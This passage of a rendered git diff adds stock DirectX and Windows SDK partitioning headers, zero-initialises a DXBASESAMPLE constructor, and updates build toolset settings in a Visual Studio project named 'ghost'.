/* device can do IDirect3DDevice7 colormaterialsource ops */
|
||||||
|
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
|
||||||
|
/* device can do vertex fog */
|
||||||
|
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
|
||||||
|
/* device can do directional lights */
|
||||||
|
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
|
||||||
|
/* device can do positional lights (includes point and spot) */
|
||||||
|
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
|
||||||
|
/* device can do local viewer */
|
||||||
|
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
|
||||||
|
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||||
|
|
||||||
|
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
|
||||||
|
#define D3DFDS_GUID 0x00000002L /* Match guid */
|
||||||
|
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
|
||||||
|
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
|
||||||
|
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
|
||||||
|
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
|
||||||
|
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
|
||||||
|
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
|
||||||
|
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
|
||||||
|
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
|
||||||
|
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
|
||||||
|
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
|
||||||
|
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
|
||||||
|
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
|
||||||
|
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
|
||||||
|
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* FindDevice arguments
|
||||||
|
*/
|
||||||
|
typedef struct _D3DFINDDEVICESEARCH {
|
||||||
|
DWORD dwSize;
|
||||||
|
DWORD dwFlags;
|
||||||
|
BOOL bHardware;
|
||||||
|
D3DCOLORMODEL dcmColorModel;
|
||||||
|
GUID guid;
|
||||||
|
DWORD dwCaps;
|
||||||
|
D3DPRIMCAPS dpcPrimCaps;
|
||||||
|
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
|
||||||
|
|
||||||
|
typedef struct _D3DFINDDEVICERESULT {
|
||||||
|
DWORD dwSize;
|
||||||
|
GUID guid; /* guid which matched */
|
||||||
|
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
|
||||||
|
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
|
||||||
|
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Description of execute buffer.
|
||||||
|
*/
|
||||||
|
typedef struct _D3DExecuteBufferDesc {
|
||||||
|
DWORD dwSize; /* size of this structure */
|
||||||
|
DWORD dwFlags; /* flags indicating which fields are valid */
|
||||||
|
DWORD dwCaps; /* capabilities of execute buffer */
|
||||||
|
DWORD dwBufferSize; /* size of execute buffer data */
|
||||||
|
LPVOID lpData; /* pointer to actual data */
|
||||||
|
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
|
||||||
|
|
||||||
|
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
|
||||||
|
|
||||||
|
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
|
||||||
|
#define D3DDEB_CAPS 0x00000002l /* caps valid */
|
||||||
|
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
|
||||||
|
|
||||||
|
/* D3DEXECUTEBUFFER dwCaps */
|
||||||
|
|
||||||
|
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
|
||||||
|
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
|
||||||
|
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION < 0x0800)
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0700)
|
||||||
|
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
|
||||||
|
BOOL bThrashing; /* indicates if thrashing */
|
||||||
|
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
|
||||||
|
DWORD dwNumEvicts; /* number of textures evicted */
|
||||||
|
DWORD dwNumVidCreates; /* number of textures created in video memory */
|
||||||
|
DWORD dwNumTexturesUsed; /* number of textures used */
|
||||||
|
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
|
||||||
|
DWORD dwWorkingSet; /* number of textures in video memory */
|
||||||
|
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
|
||||||
|
DWORD dwTotalManaged; /* total number of managed textures */
|
||||||
|
DWORD dwTotalBytes; /* total number of bytes of managed textures */
|
||||||
|
DWORD dwLastPri; /* priority of last texture evicted */
|
||||||
|
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
|
||||||
|
|
||||||
|
typedef struct _D3DDEVINFO_TEXTURING {
|
||||||
|
DWORD dwNumLoads; /* counts Load() API calls */
|
||||||
|
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
|
||||||
|
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
|
||||||
|
DWORD dwNumSet; /* counts SetTexture() API calls */
|
||||||
|
DWORD dwNumCreates; /* counts texture creates */
|
||||||
|
DWORD dwNumDestroys; /* counts texture destroys */
|
||||||
|
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
|
||||||
|
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
|
||||||
|
DWORD dwNumLocks; /* counts number of texture locks */
|
||||||
|
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
|
||||||
|
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||||
|
|
||||||
|
#endif //(DIRECT3D_VERSION < 0x0800)
|
||||||
|
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* _D3DCAPS_H_ */
|
||||||
|
|
||||||
|
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||||
|
#pragma endregion
|
||||||
|
|
||||||
2133
client/d3d/d3dtypes.h
Normal file
251
client/d3d/winapifamily.h
Normal file
@@ -0,0 +1,251 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
Module Name:
|
||||||
|
|
||||||
|
winapifamily.h
|
||||||
|
|
||||||
|
Abstract:
|
||||||
|
|
||||||
|
Master include file for API family partitioning.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _INC_WINAPIFAMILY
|
||||||
|
#define _INC_WINAPIFAMILY
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
#if _MSC_VER >= 1200
|
||||||
|
#pragma warning(push)
|
||||||
|
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||||
|
#endif
|
||||||
|
#pragma once
|
||||||
|
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
|
||||||
|
#include <winpackagefamily.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
* When compiling C and C++ code using SDK header files, the development
|
||||||
|
* environment can specify a target platform by #define-ing the
|
||||||
|
* pre-processor symbol WINAPI_FAMILY to one of the following values.
|
||||||
|
* Each FAMILY value denotes an application family for which a different
|
||||||
|
* subset of the total set of header-file-defined APIs are available.
|
||||||
|
* Setting the WINAPI_FAMILY value will effectively hide from the
|
||||||
|
* editing and compilation environments the existence of APIs that
|
||||||
|
* are not applicable to the family of applications targeting a
|
||||||
|
* specific platform.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
|
||||||
|
* device specific APIs to a particular WINAPI_FAMILY.
|
||||||
|
* For example, when writing Windows Universal apps, specifying
|
||||||
|
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
|
||||||
|
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
|
||||||
|
* unhide any API hidden behind the partition, to the compiler.
|
||||||
|
|
||||||
|
* The following partitions are currently defined:
|
||||||
|
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
|
||||||
|
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
|
||||||
|
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
|
||||||
|
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
|
||||||
|
* WINAPI_PARTITION_SYSTEM // specific to System applications
|
||||||
|
* WINAPI_PARTITION_GAMES // specific to games and apps
|
||||||
|
|
||||||
|
* The following partitions are indirect partitions and defined in
|
||||||
|
* winpackagefamily.h. These partitions are related to package based
|
||||||
|
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
|
||||||
|
* any API hidden behind the package based partitions that are bound to
|
||||||
|
* WINAPI_PARTITION_SERVER, to the compiler.
|
||||||
|
* WINAPI_PARTITION_SERVER // specific to Server applications
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
|
||||||
|
* an error will occur if WINAPI_FAMILY is set to any
|
||||||
|
* WINAPI_PARTITION value (which must be 0 or 1, see below).
|
||||||
|
*/
|
||||||
|
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
|
||||||
|
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
|
||||||
|
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
|
||||||
|
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
|
||||||
|
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
|
||||||
|
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
|
||||||
|
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
|
||||||
|
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* For compatibility with Windows 8 header files, the following
|
||||||
|
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
|
||||||
|
* Use of this symbol should be considered deprecated.
|
||||||
|
*/
|
||||||
|
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
|
||||||
|
|
||||||
|
/*
|
||||||
|
* If no WINAPI_FAMILY value is specified, then all APIs available to
|
||||||
|
* Windows desktop applications are exposed.
|
||||||
|
*/
|
||||||
|
#ifndef WINAPI_FAMILY
|
||||||
|
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* API PARTITONs are part of an indirection mechanism for mapping between
|
||||||
|
* individual APIs and the FAMILYs to which they apply.
|
||||||
|
* Each PARTITION is a category or subset of named APIs. PARTITIONs
|
||||||
|
* are permitted to have overlapping membership -- some single API
|
||||||
|
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
|
||||||
|
* to be either 1 or 0 or depending on the platform at which the app is targeted.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The mapping between families and partitions is summarized here.
|
||||||
|
* An X indicates that the given partition is active for the given
|
||||||
|
* platform/family.
|
||||||
|
*
|
||||||
|
* +---------------------------+
|
||||||
|
* | *Partition* |
|
||||||
|
* +---+---+---+---+---+---+---+
|
||||||
|
* | | | | | | | |
|
||||||
|
* | | | | | | | |
|
||||||
|
* | | | | P | | | |
|
||||||
|
* | | | | H | | | |
|
||||||
|
* | D | | | O | | | |
|
||||||
|
* | E | | P | N | S | S | |
|
||||||
|
* | S | | C | E | Y | E | G |
|
||||||
|
* | K | | _ | _ | S | R | A |
|
||||||
|
* | T | A | A | A | T | V | M |
|
||||||
|
* +-------------------------+----+ O | P | P | P | E | E | E |
|
||||||
|
* | *Platform/Family* \| P | P | P | P | M | R | S |
|
||||||
|
* +------------------------------+---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
|
||||||
|
* +------------------------------+---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
|
||||||
|
* +------------------------------+---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
|
||||||
|
* +----------------------------- +---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
|
||||||
|
* +----------------------------- +---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
|
||||||
|
* +------------------------------+---+---+---+---+---+---+---+
|
||||||
|
* | WINAPI_FAMILY_GAMES | | | | | | | X |
|
||||||
|
* +------------------------------+---+---+---+---+---+---+---+
|
||||||
|
*
|
||||||
|
* The table above is encoded in the following expressions,
|
||||||
|
* each of which evaluates to 1 or 0.
|
||||||
|
*
|
||||||
|
* Whenever a new family is added, all of these expressions
|
||||||
|
* need to be reconsidered.
|
||||||
|
*/
|
||||||
|
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
|
||||||
|
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
|
||||||
|
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
|
||||||
|
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
|
||||||
|
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
|
||||||
|
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
|
||||||
|
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_DESKTOP
|
||||||
|
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_APP
|
||||||
|
#define WINAPI_PARTITION_APP \
|
||||||
|
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||||
|
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
|
||||||
|
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_PC_APP
|
||||||
|
#define WINAPI_PARTITION_PC_APP \
|
||||||
|
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||||
|
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_PHONE_APP
|
||||||
|
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_GAMES
|
||||||
|
#define WINAPI_PARTITION_GAMES \
|
||||||
|
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
|
||||||
|
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SYSTEM is the only partition defined here.
|
||||||
|
* All other System based editions are defined as packages
|
||||||
|
* on top of the System partition.
|
||||||
|
* See winpackagefamily.h for packages level partitions
|
||||||
|
*/
|
||||||
|
#ifndef WINAPI_PARTITION_SYSTEM
|
||||||
|
#define WINAPI_PARTITION_SYSTEM \
|
||||||
|
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
|
||||||
|
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* For compatibility with Windows Phone 8 header files, the following
|
||||||
|
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
|
||||||
|
* Use of this symbol should be regarded as deprecated.
|
||||||
|
*/
|
||||||
|
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
|
||||||
|
* more declarations to some group of partitions. The macro chooses
|
||||||
|
* whether the preprocessor will emit or omit a sequence of declarations
|
||||||
|
* bracketed by an #if/#endif pair. All header file references to the
|
||||||
|
* WINAPI_PARTITION_* values should be in the form of occurrences of
|
||||||
|
* WINAPI_FAMILY_PARTITION(...).
|
||||||
|
*
|
||||||
|
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
|
||||||
|
* a sequence of declarations that are part of both the Windows Desktop
|
||||||
|
* Partition and the Windows-Phone-Specific Store Partition:
|
||||||
|
*
|
||||||
|
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||||
|
* ...
|
||||||
|
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||||
|
*
|
||||||
|
* The comment on the closing #endif allow tools as well as people to find the
|
||||||
|
* matching #ifdef properly.
|
||||||
|
*
|
||||||
|
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
|
||||||
|
* related. In particular one might use declarations like
|
||||||
|
*
|
||||||
|
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||||
|
*
|
||||||
|
* or
|
||||||
|
*
|
||||||
|
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
|
||||||
|
*
|
||||||
|
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
|
||||||
|
* should not be used.
|
||||||
|
*/
|
||||||
|
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Macro used to #define or typedef a symbol used for selective deprecation
|
||||||
|
* of individual methods of a COM interfaces that are otherwise available
|
||||||
|
* for a given set of partitions.
|
||||||
|
*/
|
||||||
|
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
|
||||||
|
|
||||||
|
/*
|
||||||
|
* For compatibility with Windows 8 header files, the following
|
||||||
|
* symbol is temporarily conditionally #define'd. Additional symbols
|
||||||
|
* like this should be not defined in winapifamily.h, but rather should be
|
||||||
|
* introduced locally to the header files of the component that needs them.
|
||||||
|
*/
|
||||||
|
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||||
|
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
|
||||||
|
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
#if _MSC_VER >= 1200
|
||||||
|
#pragma warning(pop)
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* !_INC_WINAPIFAMILY */
|
||||||
91
client/d3d/winpackagefamily.h
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
Module Name:
|
||||||
|
|
||||||
|
winpackagefamily.h
|
||||||
|
|
||||||
|
Abstract:
|
||||||
|
|
||||||
|
API family partitioning based on packages.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _INC_WINPACKAGEFAMILY
|
||||||
|
#define _INC_WINPACKAGEFAMILY
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
#if _MSC_VER >= 1200
|
||||||
|
#pragma warning(push)
|
||||||
|
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||||
|
#endif
|
||||||
|
#pragma once
|
||||||
|
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
|
||||||
|
#ifndef WINAPI_PARTITION_SERVER
|
||||||
|
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
|
||||||
|
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
|
||||||
|
*/
|
||||||
|
#undef WINAPI_PARTITION_PKG_WINTRUST
|
||||||
|
#undef WINAPI_PARTITION_PKG_WEBSERVICES
|
||||||
|
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
|
||||||
|
#undef WINAPI_PARTITION_PKG_VHD
|
||||||
|
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
|
||||||
|
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
|
||||||
|
#undef WINAPI_PARTITION_PKG_REMOTEFS
|
||||||
|
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
|
||||||
|
#undef WINAPI_PARTITION_PKG_CMDTOOLS
|
||||||
|
#undef WINAPI_PARTITION_PKG_DISM
|
||||||
|
#undef WINAPI_PARTITION_PKG_CORESETUP
|
||||||
|
#undef WINAPI_PARTITION_PKG_APPRUNTIME
|
||||||
|
#undef WINAPI_PARTITION_PKG_ESENT
|
||||||
|
#undef WINAPI_PARTITION_PKG_WINMGMT
|
||||||
|
#undef WINAPI_PARTITION_PKG_WNV
|
||||||
|
#undef WINAPI_PARTITION_PKG_CLUSTER
|
||||||
|
#undef WINAPI_PARTITION_PKG_VSS
|
||||||
|
#undef WINAPI_PARTITION_PKG_TRAFFIC
|
||||||
|
#undef WINAPI_PARTITION_PKG_ISCSI
|
||||||
|
#undef WINAPI_PARTITION_PKG_STORAGE
|
||||||
|
#undef WINAPI_PARTITION_PKG_MPSSVC
|
||||||
|
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
|
||||||
|
#undef WINAPI_PARTITION_PKG_WER
|
||||||
|
|
||||||
|
/*
|
||||||
|
* PARTITIONS for feature packages. Each package might be active for one or more editions
|
||||||
|
*/
|
||||||
|
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||||
|
#if _MSC_VER >= 1200
|
||||||
|
#pragma warning(pop)
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* !_INC_WINPACKAGEFAMILY */
|
||||||
@@ -1655,7 +1655,7 @@ public:
|
|||||||
BYTE Green;
|
BYTE Green;
|
||||||
BYTE Red;
|
BYTE Red;
|
||||||
BYTE Alpha;
|
BYTE Alpha;
|
||||||
DXBASESAMPLE() {}
|
DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
|
||||||
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
|
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
|
||||||
Alpha(alpha),
|
Alpha(alpha),
|
||||||
Red(red),
|
Red(red),
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
@@ -14,19 +14,20 @@
|
|||||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||||
<RootNamespace>ClientDll</RootNamespace>
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
<ProjectName>ghost</ProjectName>
|
<ProjectName>ghost</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
<UseOfMfc>false</UseOfMfc>
|
<UseOfMfc>false</UseOfMfc>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
